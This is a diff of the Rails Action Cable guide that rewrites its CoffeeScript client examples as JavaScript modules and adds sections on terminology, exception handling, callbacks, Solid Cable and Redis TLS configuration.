 * Deployment and Architecture setup for running Action Cable
 
 --------------------------------------------------------------------------------
 
-Introduction
-------------
+What is Action Cable?
+---------------------
 
 Action Cable seamlessly integrates
 [WebSockets](https://en.wikipedia.org/wiki/WebSocket) with the rest of your
@@ -22,32 +24,73 @@ Rails application. It allows for real-time features to be written in Ruby in the
 same style and form as the rest of your Rails application, while still being
 performant and scalable. It's a full-stack offering that provides both a
 client-side JavaScript framework and a server-side Ruby framework. You have
-access to your full domain model written with Active Record or your ORM of
+access to your entire domain model written with Active Record or your ORM of
 choice.
 
-What is Pub/Sub
----------------
+Terminology
+-----------
+
+Action Cable uses WebSockets instead of the HTTP request-response protocol.
+Both Action Cable and WebSockets introduce some less familiar terminology:
+
+### Connections
+
+*Connections* form the foundation of the client-server relationship.
+A single Action Cable server can handle multiple connection instances. It has one
+connection instance per WebSocket connection. A single user may have multiple
+WebSockets open to your application if they use multiple browser tabs or devices.
+
+### Consumers
+
+The client of a WebSocket connection is called the *consumer*. In Action Cable,
+the consumer is created by the client-side JavaScript framework.
+
+### Channels
+
+Each consumer can, in turn, subscribe to multiple *channels*. Each channel
+encapsulates a logical unit of work, similar to what a controller does in
+a typical MVC setup. For example, you could have a `ChatChannel` and
+an `AppearancesChannel`, and a consumer could be subscribed to either
+or both of these channels. At the very least, a consumer should be subscribed
+to one channel.
+
+### Subscribers
+
+When the consumer is subscribed to a channel, they act as a *subscriber*.
+The connection between the subscriber and the channel is, surprise-surprise,
+called a subscription. A consumer can act as a subscriber to a given channel
+any number of times. For example, a consumer could subscribe to multiple chat rooms
+at the same time. (And remember that a physical user may have multiple consumers,
+one per tab/device open to your connection).
 
-[Pub/Sub](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern), or
-Publish-Subscribe, refers to a message queue paradigm whereby senders of
+### Pub/Sub
+
+[Pub/Sub](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern) or
+Publish-Subscribe refers to a message queue paradigm whereby senders of
 information (publishers), send data to an abstract class of recipients
 (subscribers), without specifying individual recipients. Action Cable uses this
 approach to communicate between the server and many clients.
 
+### Broadcastings
+
+A broadcasting is a pub/sub link where anything transmitted by the broadcaster is
+sent directly to the channel subscribers who are streaming that named broadcasting.
+Each channel can be streaming zero or more broadcastings.
+
 ## Server-Side Components
 
 ### Connections
 
-*Connections* form the foundation of the client-server relationship. For every
-WebSocket accepted by the server, a connection object is instantiated. This
+For every WebSocket accepted by the server, a connection object is instantiated. This
 object becomes the parent of all the *channel subscriptions* that are created
-from there on. The connection itself does not deal with any specific application
+from thereon. The connection itself does not deal with any specific application
 logic beyond authentication and authorization. The client of a WebSocket
 connection is called the connection *consumer*. An individual user will create
 one consumer-connection pair per browser tab, window, or device they have open.
 
-Connections are instances of `ApplicationCable::Connection`. In this class, you
-authorize the incoming connection, and proceed to establish it if the user can
+Connections are instances of `ApplicationCable::Connection`, which extends
+[`ActionCable::Connection::Base`][]. In `ApplicationCable::Connection`, you
+authorize the incoming connection and proceed to establish it if the user can
 be identified.
 
 #### Connection Setup
@@ -64,8 +107,8 @@ module ApplicationCable
 
     private
       def find_verified_user
-        if current_user = User.find_by(id: cookies.signed[:user_id])
-          current_user
+        if verified_user = User.find_by(id: cookies.encrypted[:user_id])
+          verified_user
         else
           reject_unauthorized_connection
         end
@@ -74,12 +117,12 @@ module ApplicationCable
 end
 ```
 
-Here `identified_by` is a connection identifier that can be used to find the
+Here [`identified_by`][] designates a connection identifier that can be used to find the
 specific connection later. Note that anything marked as an identifier will automatically
 create a delegate by the same name on any channel instances created off the connection.
 
 This example relies on the fact that you will already have handled authentication of the user
-somewhere else in your application, and that a successful authentication sets a signed
+somewhere else in your application, and that a successful authentication sets an encrypted
 cookie with the user ID.
 
 The cookie is then automatically sent to the connection instance when a new connection
@@ -88,11 +131,60 @@ by this same current user, you're also ensuring that you can later retrieve all
 connections by a given user (and potentially disconnect them all if the user is deleted
 or unauthorized).
 
+If your authentication approach includes using a session, you use cookie store for the
+session, your session cookie is named `_session` and the user ID key is `user_id` you
+can use this approach:
+
+```ruby
+verified_user = User.find_by(id: cookies.encrypted["_session"]["user_id"])
+```
+
+[`ActionCable::Connection::Base`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Base.html
+[`identified_by`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Identification/ClassMethods.html#method-i-identified_by
+
+#### Exception Handling
+
+By default, unhandled exceptions are caught and logged to Rails' logger. If you would like to
+globally intercept these exceptions and report them to an external bug tracking service, for
+example, you can do so with [`rescue_from`][]:
+
+```ruby
+# app/channels/application_cable/connection.rb
+module ApplicationCable
+  class Connection < ActionCable::Connection::Base
+    rescue_from StandardError, with: :report_error
+
+    private
+      def report_error(e)
+        SomeExternalBugtrackingService.notify(e)
+      end
+  end
+end
+```
+
+[`rescue_from`]: https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from
+
+#### Connection Callbacks
+
+[`ActionCable::Connection::Callbacks`][] provides callback hooks that are
+invoked when sending commands to the client, such as when subscribing,
+unsubscribing, or performing an action:
+
+* [`before_command`][]
+* [`after_command`][]
+* [`around_command`][]
+
+[`ActionCable::Connection::Callbacks`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Callbacks.html
+[`after_command`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Callbacks/ClassMethods.html#method-i-after_command
+[`around_command`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Callbacks/ClassMethods.html#method-i-around_command
+[`before_command`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Callbacks/ClassMethods.html#method-i-before_command
+
 ### Channels
 
 A *channel* encapsulates a logical unit of work, similar to what a controller does in a
-regular MVC setup. By default, Rails creates a parent `ApplicationCable::Channel` class
-for encapsulating shared logic between your channels.
+typical MVC setup. By default, Rails creates a parent `ApplicationCable::Channel` class
+(which extends [`ActionCable::Channel::Base`][]) for encapsulating shared logic between your channels,
+when you use the channel generator for the first time.
 
 #### Parent Channel Setup
 
@@ -104,37 +196,75 @@ module ApplicationCable
 end
 ```
 
-Then you would create your own channel classes. For example, you could have a
-`ChatChannel` and an `AppearanceChannel`:
+Your own channel classes could then look like these examples:
 
 ```ruby
 # app/channels/chat_channel.rb
 class ChatChannel < ApplicationCable::Channel
 end
+```
 
+```ruby
 # app/channels/appearance_channel.rb
 class AppearanceChannel < ApplicationCable::Channel
 end
 ```
 
+[`ActionCable::Channel::Base`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Base.html
+
 A consumer could then be subscribed to either or both of these channels.
 
 #### Subscriptions
 
 Consumers subscribe to channels, acting as *subscribers*. Their connection is
 called a *subscription*. Produced messages are then routed to these channel
-subscriptions based on an identifier sent by the cable consumer.
+subscriptions based on an identifier sent by the channel consumer.
 
 ```ruby
 # app/channels/chat_channel.rb
 class ChatChannel < ApplicationCable::Channel
   # Called when the consumer has successfully
-  # become a subscriber of this channel.
+  # become a subscriber to this channel.
   def subscribed
   end
 end
 ```
 
+#### Exception Handling
+
+As with `ApplicationCable::Connection`, you can also use [`rescue_from`][] on a
+specific channel to handle raised exceptions:
+
+```ruby
+# app/channels/chat_channel.rb
+class ChatChannel < ApplicationCable::Channel
+  rescue_from "MyError", with: :deliver_error_message
+
+  private
+    def deliver_error_message(e)
+      # broadcast_to(...)
+    end
+end
+```
+
+#### Channel Callbacks
+
+[`ActionCable::Channel::Callbacks`][] provides callback hooks that are invoked
+during the life cycle of a channel:
+
+* [`before_subscribe`][]
+* [`after_subscribe`][] (aliased as [`on_subscribe`][])
+* [`before_unsubscribe`][]
+* [`after_unsubscribe`][] (aliased as [`on_unsubscribe`][])
+
+[`ActionCable::Channel::Callbacks`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks.html
+[`after_subscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-after_subscribe
+[`after_unsubscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-after_unsubscribe
+[`before_subscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-before_subscribe
+[`before_unsubscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-before_unsubscribe
+[`on_subscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-on_subscribe
+[`on_unsubscribe`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Callbacks/ClassMethods.html#method-i-on_unsubscribe
+
 ## Client-Side Components
 
 ### Connections
@@ -145,32 +275,52 @@ established using the following JavaScript, which is generated by default by Rai
 #### Connect Consumer
 
 ```js
-// app/assets/javascripts/cable.js
-//= require action_cable
-//= require_self
-//= require_tree ./channels
+// app/javascript/channels/consumer.js
+// Action Cable provides the framework to deal with WebSockets in Rails.
+// You can generate new channels where WebSocket features live using the `bin/rails generate channel` command.
 
-(function() {
-  this.App || (this.App = {});
+import { createConsumer } from "@rails/actioncable"
 
-  App.cable = ActionCable.createConsumer();
-}).call(this);
+export default createConsumer()
 ```
 
 This will ready a consumer that'll connect against `/cable` on your server by default.
 The connection won't be established until you've also specified at least one subscription
 you're interested in having.
 
+The consumer can optionally take an argument that specifies the URL to connect to. This
+can be a string or a function that returns a string that will be called when the
+WebSocket is opened.
+
+```js
+// Specify a different URL to connect to
+createConsumer('wss://example.com/cable')
+// Or when using websockets over HTTP
+createConsumer('https://ws.example.com/cable')
+
+// Use a function to dynamically generate the URL
+createConsumer(getWebSocketURL)
+
+function getWebSocketURL() {
+  const token = localStorage.get('auth-token')
+  return `wss://example.com/cable?token=${token}`
+}
+```
+
 #### Subscriber
 
 A consumer becomes a subscriber by creating a subscription to a given channel:
 
-```coffeescript
-# app/assets/javascripts/cable/subscriptions/chat.coffee
-App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" }
+```js
+// app/javascript/channels/chat_channel.js
+import consumer from "./consumer"
+
+consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" })
 
-# app/assets/javascripts/cable/subscriptions/appearance.coffee
-App.cable.subscriptions.create { channel: "AppearanceChannel" }
+// app/javascript/channels/appearance_channel.js
+import consumer from "./consumer"
+
+consumer.subscriptions.create({ channel: "AppearanceChannel" })
 ```
 
 While this creates the subscription, the functionality needed to respond to
@@ -179,9 +329,12 @@ received data will be described later on.
 A consumer can act as a subscriber to a given channel any number of times. For
 example, a consumer could subscribe to multiple chat rooms at the same time:
 
-```coffeescript
-App.cable.subscriptions.create { channel: "ChatChannel", room: "1st Room" }
-App.cable.subscriptions.create { channel: "ChatChannel", room: "2nd Room" }
+```js
+// app/javascript/channels/chat_channel.js
+import consumer from "./consumer"
+
+consumer.subscriptions.create({ channel: "ChatChannel", room: "1st Room" })
+consumer.subscriptions.create({ channel: "ChatChannel", room: "2nd Room" })
 ```
 
 ## Client-Server Interactions
@@ -189,7 +342,9 @@ App.cable.subscriptions.create { channel: "ChatChannel", room: "2nd Room" }
 ### Streams
 
 *Streams* provide the mechanism by which channels route published content
-(broadcasts) to their subscribers.
+(broadcasts) to their subscribers. For example, the following code uses
+[`stream_from`][] to subscribe to the broadcasting named `chat_Best Room` when
+the value of the `:room` parameter is `"Best Room"`:
 
 ```ruby
 # app/channels/chat_channel.rb
@@ -200,12 +355,21 @@ class ChatChannel < ApplicationCable::Channel
 end
 ```
 
-If you have a stream that is related to a model, then the broadcasting used
-can be generated from the model and channel. The following example would
-subscribe to a broadcasting like `comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE`
+Then, elsewhere in your Rails application, you can broadcast to such a room by
+calling [`broadcast`][]:
+
+```ruby
+ActionCable.server.broadcast("chat_Best Room", { body: "This Room is Best Room." })
+```
+
+If you have a stream that is related to a model, then the broadcasting name
+can be generated from the channel and model. For example, the following code
+uses [`stream_for`][] to subscribe to a broadcasting like
+`posts:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE`, where `Z2lkOi8vVGVzdEFwcC9Qb3N0LzE` is
+the GlobalID of the Post model.
 
 ```ruby
-class CommentsChannel < ApplicationCable::Channel
+class PostsChannel < ApplicationCable::Channel
   def subscribed
     post = Post.find(params[:id])
     stream_for post
@@ -213,70 +377,62 @@ class CommentsChannel < ApplicationCable::Channel
 end
 ```
 
-You can then broadcast to this channel like this:
+You can then broadcast to this channel by calling [`broadcast_to`][]:
 
 ```ruby
-CommentsChannel.broadcast_to(@post, @comment)
+PostsChannel.broadcast_to(@post, @comment)
 ```
 
-### Broadcasting
+[`broadcast`]: https://api.rubyonrails.org/classes/ActionCable/Server/Broadcasting.html#method-i-broadcast
+[`broadcast_to`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Broadcasting/ClassMethods.html#method-i-broadcast_to
+[`stream_for`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Streams.html#method-i-stream_for
+[`stream_from`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Streams.html#method-i-stream_from
+
+### Broadcastings
 
 A *broadcasting* is a pub/sub link where anything transmitted by a publisher
 is routed directly to the channel subscribers who are streaming that named
 broadcasting. Each channel can be streaming zero or more broadcastings.
 
-Broadcastings are purely an online queue and time dependent. If a consumer is
+Broadcastings are purely an online queue and time-dependent. If a consumer is
 not streaming (subscribed to a given channel), they'll not get the broadcast
 should they connect later.
 
-Broadcasts are called elsewhere in your Rails application:
-
-```ruby
-WebNotificationsChannel.broadcast_to(
-  current_user,
-  title: 'New things!',
-  body: 'All the news fit to print'
-)
-```
-
-The `WebNotificationsChannel.broadcast_to` call places a message in the current
-subscription adapter (by default `redis` for production and `async` for development and
-test environments)'s pubsub queue under a separate broadcasting name for each user.
-For a user with an ID of 1, the broadcasting name would be `web_notifications:1`.
-
-The channel has been instructed to stream everything that arrives at
-`web_notifications:1` directly to the client by invoking the `received`
-callback.
-
 ### Subscriptions
 
 When a consumer is subscribed to a channel, they act as a subscriber. This
 connection is called a subscription. Incoming messages are then routed to
 these channel subscriptions based on an identifier sent by the cable consumer.
 
-```coffeescript
-# app/assets/javascripts/cable/subscriptions/chat.coffee
-# Assumes you've already requested the right to send web notifications
-App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
-  received: (data) ->
-    @appendLine(data)
-
-  appendLine: (data) ->
-    html = @createLine(data)
-    $("[data-chat-room='Best Room']").append(html)
-
-  createLine: (data) ->
-    """
-    <article class="chat-line">
-      <span class="speaker">#{data["sent_by"]}</span>
-      <span class="body">#{data["body"]}</span>
-    </article>
-    """
+```js
+// app/javascript/channels/chat_channel.js
+import consumer from "./consumer"
+
+consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, {
+  received(data) {
+    this.appendLine(data)
+  },
+
+  appendLine(data) {
+    const html = this.createLine(data)
+    const element = document.querySelector("[data-chat-room='Best Room']")
+    element.insertAdjacentHTML("beforeend", html)
+  },
+
+  createLine(data) {
+    return `
+      <article class="chat-line">
+        <span class="speaker">${data["sent_by"]}</span>
+        <span class="body">${data["body"]}</span>
+      </article>
+    `
+  }
+})
 ```
 
 ### Passing Parameters to Channels
 
-You can pass parameters from the client side to the server side when creating a
+You can pass parameters from the client-side to the server-side when creating a
 subscription. For example:
 
 ```ruby
@@ -291,23 +447,30 @@ end
 An object passed as the first argument to `subscriptions.create` becomes the
 params hash in the cable channel. The keyword `channel` is required:
 
-```coffeescript
-# app/assets/javascripts/cable/subscriptions/chat.coffee
-App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
-  received: (data) ->
-    @appendLine(data)
-
-  appendLine: (data) ->
-    html = @createLine(data)
-    $("[data-chat-room='Best Room']").append(html)
-
-  createLine: (data) ->
-    """
-    <article class="chat-line">
-      <span class="speaker">#{data["sent_by"]}</span>
-      <span class="body">#{data["body"]}</span>
-    </article>
-    """
+```js
+// app/javascript/channels/chat_channel.js
+import consumer from "./consumer"
+
+consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, {
+  received(data) {
+    this.appendLine(data)
+  },
+
+  appendLine(data) {
+    const html = this.createLine(data)
+    const element = document.querySelector("[data-chat-room='Best Room']")
+    element.insertAdjacentHTML("beforeend", html)
+  },
+
+  createLine(data) {
+    return `
+      <article class="chat-line">
+        <span class="speaker">${data["sent_by"]}</span>
+        <span class="body">${data["body"]}</span>
+      </article>
+    `
+  }
+})
 ```
 
 ```ruby
@@ -315,8 +478,10 @@ App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
 # from a NewCommentJob.
 ActionCable.server.broadcast(
   "chat_#{room}",
-  sent_by: 'Paul',
-  body: 'This is a cool chat app.'
+  {
+    sent_by: "Paul",
+    body: "This is a cool chat app."
+  }
 )
 ```
 
@@ -338,13 +503,17 @@ class ChatChannel < ApplicationCable::Channel
 end
 ```
 
-```coffeescript
-# app/assets/javascripts/cable/subscriptions/chat.coffee
-App.chatChannel = App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
-  received: (data) ->
-    # data => { sent_by: "Paul", body: "This is a cool chat app." }
+```js
+// app/javascript/channels/chat_channel.js
+import consumer from "./consumer"
+
+const chatChannel = consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, {
+  received(data) {
+    // data => { sent_by: "Paul", body: "This is a cool chat app." }
+  }
+})
 
-App.chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." })
+chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." })
 ```
 
 The rebroadcast will be received by all connected clients, _including_ the
@@ -355,15 +524,15 @@ you subscribed to the channel.
 
 The following setup steps are common to both examples:
 
-  1. [Setup your connection](#connection-setup).
-  2. [Setup your parent channel](#parent-channel-setup).
+  1. [Set up your connection](#connection-setup).
+  2. [Set up your parent channel](#parent-channel-setup).
   3. [Connect your consumer](#connect-consumer).
 
 ### Example 1: User Appearances
 
 Here's a simple example of a channel that tracks whether a user is online or not
 and what page they're on. (This is useful for creating presence features like showing
-a green dot next to a user name if they're online).
+a green dot next to a username if they're online).
 
 Create the server-side appearance channel:
 
@@ -379,7 +548,7 @@ class AppearanceChannel < ApplicationCable::Channel
   end
 
   def appear(data)
-    current_user.appear(on: data['appearing_on'])
+    current_user.appear(on: data["appearing_on"])
   end
 
   def away
@@ -388,90 +557,112 @@ class AppearanceChannel < ApplicationCable::Channel
 end
 ```
 
-When a subscription is initiated the `subscribed` callback gets fired and we
+When a subscription is initiated the `subscribed` callback gets fired, and we
 take that opportunity to say "the current user has indeed appeared". That
 appear/disappear API could be backed by Redis, a database, or whatever else.
 
 Create the client-side appearance channel subscription:
 
-```coffeescript
-# app/assets/javascripts/cable/subscriptions/appearance.coffee
-App.cable.subscriptions.create "AppearanceChannel",
-  # Called when the subscription is ready for use on the server.
-  connected: ->
-    @install()
-    @appear()
-
-  # Called when the WebSocket connection is closed.
-  disconnected: ->
-    @uninstall()
-
-  # Called when the subscription is rejected by the server.
-  rejected: ->
-    @uninstall()
-
-  appear: ->
-    # Calls `AppearanceChannel#appear(data)` on the server.
-    @perform("appear", appearing_on: $("main").data("appearing-on"))
-
-  away: ->
-    # Calls `AppearanceChannel#away` on the server.
-    @perform("away")
-
-
-  buttonSelector = "[data-behavior~=appear_away]"
-
-  install: ->
-    $(document).on "turbolinks:load.appearance", =>
-      @appear()
-
-    $(document).on "click.appearance", buttonSelector, =>
-      @away()
-      false
-
-    $(buttonSelector).show()
-
-  uninstall: ->
-    $(document).off(".appearance")
-    $(buttonSelector).hide()
+```js
+// app/javascript/channels/appearance_channel.js
+import consumer from "./consumer"
+
+consumer.subscriptions.create("AppearanceChannel", {
+  // Called once when the subscription is created.
+  initialized() {
+    this.update = this.update.bind(this)
+  },
+
+  // Called when the subscription is ready for use on the server.
+  connected() {
+    this.install()
+    this.update()
+  },
+
+  // Called when the WebSocket connection is closed.
+  disconnected() {
+    this.uninstall()
+  },
+
+  // Called when the subscription is rejected by the server.
+  rejected() {
+    this.uninstall()
+  },
+
+  update() {
+    this.documentIsActive ? this.appear() : this.away()
+  },
+
+  appear() {
+    // Calls `AppearanceChannel#appear(data)` on the server.
+    this.perform("appear", { appearing_on: this.appearingOn })
+  },
+
+  away() {
+    // Calls `AppearanceChannel#away` on the server.
+    this.perform("away")
+  },
+
+  install() {
+    window.addEventListener("focus", this.update)
+    window.addEventListener("blur", this.update)
+    document.addEventListener("turbo:load", this.update)
+    document.addEventListener("visibilitychange", this.update)
+  },
+
+  uninstall() {
+    window.removeEventListener("focus", this.update)
+    window.removeEventListener("blur", this.update)
+    document.removeEventListener("turbo:load", this.update)
+    document.removeEventListener("visibilitychange", this.update)
+  },
+
+  get documentIsActive() {
+    return document.visibilityState === "visible" && document.hasFocus()
+  },
+
+  get appearingOn() {
+    const element = document.querySelector("[data-appearing-on]")
+    return element ? element.getAttribute("data-appearing-on") : null
+  }
+})
 ```
 
-##### Client-Server Interaction
+#### Client-Server Interaction
 
-1. **Client** connects to the **Server** via `App.cable =
-ActionCable.createConsumer("ws://cable.example.com")`. (`cable.js`). The
-**Server** identifies this connection by `current_user`.
+1. **Client** connects to the **Server** via `createConsumer()`. (`consumer.js`). The
+  **Server** identifies this connection by `current_user`.
 
 2. **Client** subscribes to the appearance channel via
-`App.cable.subscriptions.create(channel: "AppearanceChannel")`. (`appearance.coffee`)
+  `consumer.subscriptions.create({ channel: "AppearanceChannel" })`. (`appearance_channel.js`)
 
 3. **Server** recognizes a new subscription has been initiated for the
-appearance channel and runs its `subscribed` callback, calling the `appear`
-method on `current_user`. (`appearance_channel.rb`)
+  appearance channel and runs its `subscribed` callback, calling the `appear`
+  method on `current_user`. (`appearance_channel.rb`)
 
 4. **Client** recognizes that a subscription has been established and calls
-`connected` (`appearance.coffee`) which in turn calls `@install` and `@appear`.
-`@appear` calls `AppearanceChannel#appear(data)` on the server, and supplies a
-data hash of `{ appearing_on: $("main").data("appearing-on") }`. This is
-possible because the server-side channel instance automatically exposes all
-public methods declared on the class (minus the callbacks), so that these can be
-reached as remote procedure calls via a subscription's `perform` method.
+  `connected` (`appearance_channel.js`), which in turn calls `install` and `appear`.
+  `appear` calls `AppearanceChannel#appear(data)` on the server, and supplies a
+  data hash of `{ appearing_on: this.appearingOn }`. This is
+  possible because the server-side channel instance automatically exposes all
+  public methods declared on the class (minus the callbacks), so that these can be
+  reached as remote procedure calls via a subscription's `perform` method.
 
 5. **Server** receives the request for the `appear` action on the appearance
-channel for the connection identified by `current_user`
-(`appearance_channel.rb`). **Server** retrieves the data with the
-`:appearing_on` key from the data hash and sets it as the value for the `:on`
-key being passed to `current_user.appear`.
+  channel for the connection identified by `current_user`
+  (`appearance_channel.rb`). **Server** retrieves the data with the
+  `:appearing_on` key from the data hash and sets it as the value for the `:on`
+  key being passed to `current_user.appear`.
 
 ### Example 2: Receiving New Web Notifications
 
 The appearance example was all about exposing server functionality to
 client-side invocation over the WebSocket connection. But the great thing
-about WebSockets is that it's a two-way street. So now let's show an example
+about WebSockets is that it's a two-way street. So, now, let's show an example
 where the server invokes an action on the client.
 
 This is a web notification channel that allows you to trigger client-side
-web notifications when you broadcast to the right streams:
+web notifications when you broadcast to the relevant streams:
 
 Create the server-side web notifications channel:
 
@@ -486,13 +677,17 @@ end
 
 Create the client-side web notifications channel subscription:
 
-```coffeescript
-# app/assets/javascripts/cable/subscriptions/web_notifications.coffee
-# Client-side which assumes you've already requested
-# the right to send web notifications.
-App.cable.subscriptions.create "WebNotificationsChannel",
-  received: (data) ->
-    new Notification data["title"], body: data["body"]
+```js
+// app/javascript/channels/web_notifications_channel.js
+// Client-side which assumes you've already requested
+// the right to send web notifications.
+import consumer from "./consumer"
+
+consumer.subscriptions.create("WebNotificationsChannel", {
+  received(data) {
+    new Notification(data["title"], { body: data["body"] })
+  }
+})
 ```
 
 Broadcast content to a web notification channel instance from elsewhere in your
@@ -502,8 +697,8 @@ application:
 # Somewhere in your app this is called, perhaps from a NewCommentJob
 WebNotificationsChannel.broadcast_to(
   current_user,
-  title: 'New things!',
-  body: 'All the news fit to print'
+  title: "New things!",
+  body: "All the news fit to print"
 )
 ```
 
@@ -514,14 +709,14 @@ user. For a user with an ID of 1, the broadcasting name would be
 
 The channel has been instructed to stream everything that arrives at
 `web_notifications:1` directly to the client by invoking the `received`
-callback. The data passed as argument is the hash sent as the second parameter
-to the server-side broadcast call, JSON encoded for the trip across the wire,
-and unpacked for the data argument arriving to `received`.
+callback. The data passed as an argument is the hash sent as the second parameter
+to the server-side broadcast call, JSON encoded for the trip across the wire
+and unpacked for the data argument arriving as `received`.
 
 ### More Complete Examples
 
 See the [rails/actioncable-examples](https://github.com/rails/actioncable-examples)
-repository for a full example of how to setup Action Cable in a Rails app and adding channels.
+repository for a full example of how to set up Action Cable in a Rails app and adding channels.
 
 ## Configuration
 
@@ -538,27 +733,51 @@ development:
   adapter: async
 
 test:
-  adapter: async
+  adapter: test
 
 production:
   adapter: redis
   url: redis://10.10.3.153:6381
   channel_prefix: appname_production
 ```
+
 #### Adapter Configuration
 
-Below is a list of the subscription adapters available for end users.
+Below is a list of the subscription adapters available for end-users.
 
 ##### Async Adapter
 
 The async adapter is intended for development/testing and should not be used in production.
 
+NOTE: The async adapter only works within the same process, so for manually triggering cable updates from a console and seeing results in the browser, you must do so from the web console (running inside the dev process), not a terminal started via `bin/rails console`! Add `console` to any action or any ERB template view to make the web console appear.
+
+##### Solid Cable Adapter
+
+The Solid Cable adapter is a database-backed solution that uses Active Record. It has been tested with MySQL, SQLite, and PostgreSQL. Running `bin/rails solid_cable:install` will automatically set up `config/cable.yml` and create `db/cable_schema.rb`. After that, you must manually update `config/database.yml`, adjusting it based on your database. See [Solid Cable Installation](https://github.com/rails/solid_cable?tab=readme-ov-file#installation).
+
 ##### Redis Adapter
 
-Action Cable contains two Redis adapters: "normal" Redis and Evented Redis. Both
-of the adapters require users to provide a URL pointing to the Redis server.
-Additionally, a channel_prefix may be provided to avoid channel name collisions
-when using the same Redis server for multiple applications. See the [Redis PubSub documentation](https://redis.io/topics/pubsub#database-amp-scoping) for more details.
+The Redis adapter requires users to provide a URL pointing to the Redis server.
+Additionally, a `channel_prefix` may be provided to avoid channel name collisions
+when using the same Redis server for multiple applications. See the [Redis Pub/Sub documentation](https://redis.io/docs/manual/pubsub/#database--scoping) for more details.
+
+The Redis adapter also supports SSL/TLS connections. The required SSL/TLS parameters can be passed in `ssl_params` key in the configuration YAML file.
+
+```yaml
+production:
+  adapter: redis
+  url: rediss://10.10.3.153:tls_port
+  channel_prefix: appname_production
+  ssl_params:
+    ca_file: "/path/to/ca.crt"
+```
+
+The options given to `ssl_params` are passed directly to the `OpenSSL::SSL::SSLContext#set_params` method and can be any valid attribute of the SSL context.
+Please refer to the [OpenSSL::SSL::SSLContext documentation](https://docs.ruby-lang.org/en/master/OpenSSL/SSL/SSLContext.html) for other available attributes.
+
+If you are using self-signed certificates for redis adapter behind a firewall and opt to skip certificate check, then the ssl `verify_mode` should be set as `OpenSSL::SSL::VERIFY_NONE`.
+
+WARNING: It is not recommended to use `VERIFY_NONE` in production unless you absolutely understand the security implications. In order to set this option for the Redis adapter, the config should be `ssl_params: { verify_mode: <%= OpenSSL::SSL::VERIFY_NONE %> }`.
 
 ##### PostgreSQL Adapter
 
@@ -566,14 +785,16 @@ The PostgreSQL adapter uses Active Record's connection pool, and thus the
 application's `config/database.yml` database configuration, for its connection.
 This may change in the future. [#27214](https://github.com/rails/rails/issues/27214)
 
+NOTE: PostgreSQL has a [8000 bytes limit](https://www.postgresql.org/docs/current/sql-notify.html) on `NOTIFY` (the command used under the hood for sending notifications) which might be a constraint when dealing with large payloads.
+
 ### Allowed Request Origins
 
 Action Cable will only accept requests from specified origins, which are
 passed to the server config as an array. The origins can be instances of
-strings or regular expressions, against which a check for match will be performed.
+strings or regular expressions, against which a check for the match will be performed.
 
 ```ruby
-config.action_cable.allowed_request_origins = ['http://rubyonrails.com', %r{http://ruby.*}]
+config.action_cable.allowed_request_origins = ["https://rubyonrails.com", %r{http://ruby.*}]
 ```
 
 To disable and allow requests from any origin:
@@ -587,19 +808,47 @@ in the development environment.
 
 ### Consumer Configuration
 
-To configure the URL, add a call to `action_cable_meta_tag` in your HTML layout
-HEAD. This uses a URL or path typically set via `config.action_cable.url` in the
+To configure the URL, add a call to [`action_cable_meta_tag`][] in your HTML layout
+HEAD. This uses a URL or path typically set via [`config.action_cable.url`][] in the
 environment configuration files.
 
+[`config.action_cable.url`]: configuring.html#config-action-cable-url
+[`action_cable_meta_tag`]: https://api.rubyonrails.org/classes/ActionCable/Helpers/ActionCableHelper.html#method-i-action_cable_meta_tag
+
+### Worker Pool Configuration
+
+The worker pool is used to run connection callbacks and channel actions in
+isolation from the server's main thread. Action Cable allows the application
+to configure the number of simultaneously processed threads in the worker pool.
+
+```ruby
+config.action_cable.worker_pool_size = 4
+```
+
+Also, note that your server must provide at least the same number of database
+connections as you have workers. The default worker pool size is set to 4, so
+that means you have to make at least 4 database connections available.
+You can change that in `config/database.yml` through the `pool` attribute.
+
+### Client-side Logging
+
+Client-side logging is disabled by default. You can enable this by setting the `ActionCable.logger.enabled` to true.
+
+```js
+import * as ActionCable from '@rails/actioncable'
+
+ActionCable.logger.enabled = true
+```
+
 ### Other Configurations
 
-The other common option to configure, is the log tags applied to the
+The other common option to configure is the log tags applied to the
 per-connection logger. Here's an example that uses
 the user account id if available, else "no-account" while tagging:
 
 ```ruby
 config.action_cable.log_tags = [
-  -> request { request.env['user_account_id'] || "no-account" },
+  -> request { request.env["user_account_id"] || "no-account" },
   :action_cable,
   -> request { request.uuid }
 ]
@@ -608,34 +857,35 @@ config.action_cable.log_tags = [
 For a full list of all configuration options, see the
 `ActionCable::Server::Configuration` class.
 
